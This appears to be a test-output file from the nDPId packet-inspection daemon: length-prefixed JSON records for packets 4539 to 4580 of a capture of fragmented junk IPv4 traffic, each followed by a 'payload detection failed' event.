+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955394,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 